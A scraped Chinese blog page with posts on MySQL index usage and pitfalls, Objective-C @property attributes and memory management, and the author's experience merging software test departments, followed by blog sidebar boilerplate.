            (5)SELECT  *  FROM  a WHERE user = 't'  OR   user= 'f' 相對于SELECT  user,pass  FROM  a  WHERE user = 't'  OR   user= 'f'  會慢
            (6)SELECT * FROM a WHERE length(user) = 3 不能命中
            (7)user唯一索引 、type索引可以刪除
            索引就是排序,目前的計算機技術和數學理論還不支持一次同時按照兩個關鍵字進行排序,即使是聯合索引,也是先按照最左邊的關鍵字先排,然后在左邊的關鍵字排序基礎上再對其他的關鍵字排序,是一個多次排序的結果。 所以,單表查詢,一次最多只能命中一個索引,并且索引必須遵守最左前綴。于是基于索引的結構和最左前綴,像 OR ,like '%%'都是不能命中索引的,而like 'aa%'則是可以命中的。
            無論是innodb還是myisam,索引只記錄被排序的行的主鍵或者地址,其他的字段還是需要二次查詢,因此,如果查詢的字段剛好只是包含在索引中,那么索引覆蓋將是高效的。
            如果所有的數據都一樣,或者基本一樣,那么就沒有排序的必要了。像例子中的type只有1或者0,選擇性是0.5,極低的樣紙,所以可以忽視,即使建立了,也是浪費空間,mysql在查詢的時候也會選擇丟棄。
            類似最左前綴,查詢索引的時候,如果列被應用了函數,那么在查詢的時候,是不會用到索引的。道理很簡單,函數運算已經改變了列的內容,而原始的索引是對列內容全量排序的。
            綜上所述,索引的幾個知識點:最左前綴,索引覆蓋,索引選擇性,列隔離在建立和使用索引的時候需要格外注意。
            4.  MySQl索引無效場景補充
            ü  WHERE子句的查詢條件里有不等于號(WHERE column!=...),MYSQL將無法使用索引
            ü  WHERE子句的查詢條件里使用了函數(如:WHERE DAY(column)=...),MYSQL將無法使用索引,實驗中LEFT函數是可以的,但是條件不能是變量,使用LEFT函數且條件是變量,也無法使用索引,LEFT函數之外是否有其它函數有待驗證
            ü  在JOIN操作中(需要從多個數據表提取數據時),MYSQL只有在主鍵和外鍵的數據類型相同時才能使用索引,否則即使建立了索引也不會使用
            ü  如果WHERE子句的查詢條件里使用了比較操作符LIKE和REGEXP,MYSQL只有在搜索模板的第一個字符不是通配符的情況下才能使用索引。比如說,如果查詢條件是LIKE 'abc%',MYSQL將使用索引;如果條件是LIKE '%abc',MYSQL將不使用索引。
            ü  在ORDER BY操作中,MYSQL只有在排序條件不是一個查詢條件表達式的情況下才使用索引。盡管如此,在涉及多個數據表的查詢里,即使有索引可用,那些索引在加快ORDER BY操作方面也沒什么作用。
            ü  如果某個數據列里包含著許多重復的值,就算為它建立了索引也不會有很好的效果。比如說,如果某個數據列里包含了凈是些諸如“0/1”或“Y/N”等值,就沒有必要為它創建一個索引。
            只要建立了索引,除了上面提到的索引不會使用的情況下之外,其他情況只要是使用在WHERE條件里,ORDER BY 字段,聯表字段,索引一般都是有效的。

          posted @ 2014-11-24 10:02 順其自然EVO 閱讀(671) | 評論 (0)編輯 收藏

          IOS開發之property詳解

          之前很多網友對我翻譯的教程中的Property的使用感到有些迷惑不解,搞不清楚什么時候要release,什么時候要self.xxx = nil;同時對于Objective-c的內存管理以及cocos2d的內存管理規則不夠清楚。本文主要講解objc里面@property,它是什么,它有什么用,atomic,nonatomic,readonly,readwrite,assign,retain,copy,getter,setter這些關鍵字有什么用,什么時候使用它們。至于Objc的內存管理和cocos2d的內存管理部分,接下來,我會翻譯Ray的3篇教程,那里面再和大家詳細討論。今天我們的主要任務是搞定@property。
            學過c/c++的朋友都知道,我們定義struct/class的時候,如果把訪問限定符(public,protected,private)設置為public的話,那么我們是可以直接用.號來訪問它內部的數據成員的。比如
            //in Test.h
            class Test
            {
            public:
            int i;
            float f;
            };
            我在main函數里面是可以通過下面的方式來使用這個類的:(注意,如果在main函數里面使用此類,除了要包含頭文件以外,最重要的是記得把main.m改成main.mm,否則會報一些奇怪的錯誤。所以,任何時候我們使用c++,如果報奇怪的錯誤,那就要提醒自己是不是把相應的源文件改成.mm后綴了。其它引用此類的文件有時候也要改成.mm文件)
            //in main.mm
            Test test;
            test.i =1;
            test.f =2.4f;
            NSLog(@"Test.i = %d, Test.f = %f",test.i,  test.f);
            但是,在objc里面,我們能不能這樣做呢?請看下面的代碼:(新建一個objc類,命名為BaseClass)
            //in BaseClass.h
            @interface BaseClass : NSObject{
            @public
            NSString *_name;
            }
            接下來,我們在main.mm里面:
            BaseClass *base= [[BaseClass alloc] init];
            base.name =@"set base name";
            NSLog(@"base class's name = %@", base.name);
            不用等你編譯,xcode4馬上提示錯誤,請看截圖:
            請大家注意看出錯提示“Property 'nam' not found on object of type BaseClass*",意思是,BaseClass這類沒有一個名為name的屬性。即使我們在頭文件中聲明了@public,我們仍然無法在使用BaseClass的時候用.號來直接訪問其數據成員。而@public,@protected和@private只會影響繼承它的類的訪問權限,如果你使用@private聲明數據成員,那么在子類中是無法直接使用父類的私有成員的,這和c++,java是一樣的。
            既然有錯誤,那么我們就來想法解決啦,編譯器說沒有@property,那好,我們就定義property,請看代碼:
            //in BaseClass.h
            @interface BaseClass : NSObject{
            @public
            NSString *_name;
            }
            @property(nonatomic,copy) NSString *name;
            //in BaseClass.m
            @synthesize name = _name;
            現在,編譯并運行,ok,很好。那你可能會問了@prperty是不是就是讓”."號合法了呀?只要定義了@property就可以使用.號來訪問類的數據成員了?先讓我們來看下面的例子:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          //@property(nonatomic,copy) NSString *name;
          -(NSString*) name;
          -(void) setName:(NSString*)newName;
          我把@property的定義注釋掉了,另外定義了兩個函數,name和setName,下面請看實現文件:
          //@synthesize name = _name;
          -(NSString*) name{
          return _name;
          }
          -(void) setName:(NSString *)name{
          if (_name != name) {
          [_name release];
          _name = [name copy];
          }
          }
          現在,你再編譯運行,一樣工作的很好。why?因為我剛剛做的工作和先前聲明@property所做的工作完全一樣。@prperty只不過是給編譯器看的一種指令,它可以編譯之后為你生成相應的getter和setter方法。而且,注意看到面property(nonatomic,copy)括號里面這copy參數了嗎?它所做的事就是
            _name = [name copy];
            如果你指定retain,或者assign,那么相應的代碼分別是:
            //property(retain)NSString* name;
            _name = [name retain];
            //property(assign)NSString* name;
            _name = name;
            其它講到這里,大家也可以看出來,@property并不只是可以生成getter和setter方法,它還可以做內存管理。不過這里我暫不討論。現在,@property大概做了件什么事,想必大家已經知道了。但是,我們程序員都有一個坎,就是自己沒有完全吃透的東西,心里用起來不踏實,特別是我自己。所以,接下來,我們要詳細深挖@property的每一個細節。
            首先,我們看atomic 與nonatomic的區別與用法,講之前,我們先看下面這段代碼:
            @property(nonatomic, retain) UITextField *userName;    //1
            @property(nonatomic, retain,readwrite) UITextField *userName;  //2
            @property(atomic, retain) UITextField *userName;  //3
            @property(retain) UITextField *userName;  //4
            @property(atomic,assign) int i;         // 5
            @property(atomic) int i;         //6
            @property int i;               //7
            請讀者先停下來想一想,它們有什么區別呢?
            上面的代碼1和2是等價的,3和4是等價的,5,6,7是等價的。也就是說atomic是默認行為,assign是默認行為,readwrite是默認行為。但是,如果你寫上@property(nontomic)NSString *name;那么將會報一個警告,如下圖:
            因為是非gc的對象,所以默認的assign修飾符是不行的。那么什么時候用assign、什么時候用retain和copy呢?推薦做法是NSString用copy,delegate用assign(且一定要用assign,不要問為什么,只管去用就是了,以后你會明白的),非objc數據類型,比如int,float等基本數據類型用assign(默認就是assign),而其它objc類型,比如NSArray,NSDate用retain。
            在繼續之前,我還想補充幾個問題,就是如果我們自己定義某些變量的setter方法,但是想讓編譯器為我們生成getter方法,這樣子可以嗎?答案是當然可以。如果你自己在.m文件里面實現了setter/getter方法的話,那以翻譯器就不會為你再生成相應的getter/setter了。請看下面代碼:
          //代碼一:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          @property(nonatomic,copy,readonly) NSString *name;  //這里使用的是readonly,所有會聲明geter方法
          -(void) setName:(NSString*)newName;
          //代碼二:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          @property(nonatomic,copy,readonly) NSString *name;   //這里雖然聲明了readonly,但是不會生成getter方法,因為你下面自己定義了getter方法。
          -(NSString*) name;   //getter方法是不是只能是name呢?不一定,你打開Foundation.framework,找到UIView.h,看看里面的property就明白了)
          -(void) setName:(NSString*)newName;
          //代碼三:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          @property(nonatomic,copy,readwrite) NSString *name;  //這里編譯器會我們生成了getter和setter
          //代碼四:
          @interface BaseClass : NSObject{
          @public
          NSString *_name;
          }
          @property(nonatomic,copy) NSString *name;  //因為readwrite是默認行為,所以同代碼三
            上面四段代碼是等價的,接下來,請看下面四段代碼:
          //代碼一:
          @synthesize name = _name;  //這句話,編譯器發現你沒有定義任何getter和setter,所以會同時會你生成getter和setter
          //代碼二:
          @synthesize name = _name;  //因為你定義了name,也就是getter方法,所以編譯器只會為生成setter方法,也就是setName方法。
          -(NSString*) name{
          NSLog(@"name");
          return _name;
          }
          //代碼三:
          @synthesize name = _name;   //這里因為你定義了setter方法,所以編譯器只會為你生成getter方法
          -(void) setName:(NSString *)name{
          NSLog(@"setName");
          if (_name != name) {
          [_name release];
          _name = [name copy];
          }
          }
          //代碼四:
          @synthesize name = _name;  //這里你自己定義了getter和setter,這句話沒用了,你可以注釋掉。
          -(NSString*) name{
          NSLog(@"name");
          return _name;
          }
          -(void) setName:(NSString *)name{
          NSLog(@"setName");
          if (_name != name) {
          [_name release];
          _name = [name copy];
          }
          }
            上面這四段代碼也是等價的。看到這里,大家對Property的作用相信會有更加進一步的理解了吧。但是,你必須小心,你如果使用了Property,而且你自己又重寫了setter/getter的話,你需要清楚的明白,你究竟干了些什么事。別寫出下面的代碼,雖然是合法的,但是會誤導別人:
          //BaseClass.h
          @interface BaseClass : NSObject{
          @public
          NSArray *_names;
          }
          @property(nonatomic,assgin,readonly) NSArray *names;  //注意這里是assign
          -(void) setNames:(NSArray*)names;
          //BaseClass.m
          @implementation BaseClass
          @synthesize names = _names;
          -(NSArray*) names{
          NSLog(@"names");
          return _names;
          }
          -(void) setNames:(NSArray*)names{
          NSLog(@"setNames");
          if (_name != name) {
          [_name release];
          _name = [name retain];  //你retain,但是你不覆蓋這個方法,那么編譯器會生成setNames方法,里面肯定是用的assign
          }
          }
            當別人使用@property來做內存管理的時候就會有問題了。總結一下,如果你自己實現了getter和setter的話,atomic/nonatomic/retain/assign/copy這些只是給編譯的建議,編譯會首先會到你的代碼里面去找,如果你定義了相應的getter和setter的話,那么好,用你的。如果沒有,編譯器就會根據atomic/nonatomic/retain/assign/copy這其中你指定的某幾個規則去生成相應的getter和setter。
            好了,說了這么多,回到我們的正題吧。atomic和nonatomic的作用與區別:
            如果你用@synthesize去讓編譯器生成代碼,那么atomic和nonatomic生成的代碼是不一樣的。如果使用atomic,如其名,它會保證每次getter和setter的操作都會正確的執行完畢,而不用擔心其它線程在你get的時候set,可以說保證了某種程度上的線程安全。但是,我上網查了資料,僅僅靠atomic來保證線程安全是很天真的。要寫出線程安全的代碼,還需要有同步和互斥機制。
            而nonatomic就沒有類似的“線程安全”(我這里加引號是指某種程度的線程安全)保證了。因此,很明顯,nonatomic比atomic速度要快。這也是為什么,我們基本上所有用property的地方,都用的是nonatomic了。
            還有一點,可能有讀者經常看到,在我的教程的dealloc函數里面有這樣的代碼:self.xxx = nil;看到這里,現在你們明白這樣寫有什么用了吧?它等價于[xxx release];  xxx = [nil retain];(---如果你的property(nonatomic,retian)xxx,那么就會這樣,如果不是,就對號入座吧)。
            因為nil可以給它發送任何消息,而不會出錯。為什么release掉了還要賦值為nil呢?大家用c的時候,都有這樣的編碼習慣吧。
            int* arr = new int[10];    然后不用的時候,delete arr; arr = NULL;  在objc里面可以用一句話self.arr = nil;搞定。

          posted @ 2014-11-24 10:02 順其自然EVO 閱讀(199) | 評論 (0)編輯 收藏

          測試團隊管理-第三篇:部門整合(2)

           后面的一系列事實驗證了我的預感。在公司的組織架構中,我做為公司級的新測試部門的部門經理,匯報給公司主管研發方向的副總,原則上和兩個業務方向上的開 發部門的部門經理平級。但在實際運行中,副總已遠離基層工作多年,更多是聽取兩個開發部門部門經理的匯報,互相信任度很高;在以前測試主管也是匯報給開發 的部門經理,開發的部門經理對測試部門過往情況了如指掌。基于種種現狀,我在一定程度上也要匯報給兩個開發部門的部門經理,或者說比他們要低半級。另外,原有的兩名代理測試主管,雖然被公司老板徹底否定,被認定不具備測試主管的能力,并都被指定為我的部門助理,但是她們都深受原直接上級,也就是兩名開發部門部門經理的信任,其間的關系比較微妙。不算其他上下游兄弟部門,我必須首先處理好和我的直接上級副總,兩名間接上級-開發的部門經理,還有兩名原測試主管的關系,對平衡和協調能力是個不小考驗。
            本著先易后難,循序漸進的原則,我開始著手逐步推進,做了一下幾件事。第一,統一兩個小測試部門的Bug庫、SVN、文件共享服務。第二,統一測試用例、測試計劃、測試報告等模版。第三,統一部門招聘面試試用流程、培訓考核制度、定崗定級制度。第四,收集匯總部門所有人員基本信息,梳理并畫出新部門的組織 架構圖。這些基礎性的面上的工作相對好開展,在入職三個月左右時基本就做完了。春節一過,公司在各項信息系統里添加新測試部門的相關信息,并對人員、權限做相應設置調整,新的公司級的測試部門呱呱墜地,橫空出世。
          相關文章
           測試團隊管理-第一篇:空降
          測試團隊管理-第二篇:部門整合(1)

          posted @ 2014-11-24 10:01 順其自然EVO 閱讀(232) | 評論 (0)編輯 收藏

          僅列出標題
          共394頁: First 上一頁 11 12 13 14 15 16 17 18 19 下一頁 Last 
          <2025年7月>
          293012345
          6789101112
          13141516171819
          20212223242526
          272829303112
          3456789

          導航

          統計

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 明溪县| 仙居县| 罗源县| 巴里| 齐齐哈尔市| 保康县| 江源县| 临洮县| 宣恩县| 阿拉尔市| 旬邑县| 特克斯县| 河北省| 玉环县| 阳城县| 内丘县| 元阳县| 扎囊县| 芦溪县| 平度市| 邹城市| 赣州市| 扎鲁特旗| 延庆县| 涿州市| 贡嘎县| 浦县| 法库县| 宝鸡市| 招远市| 屯门区| 固镇县| 合山市| 遵化市| 新泰市| 慈利县| 特克斯县| 云南省| 游戏| 张北县| 汪清县|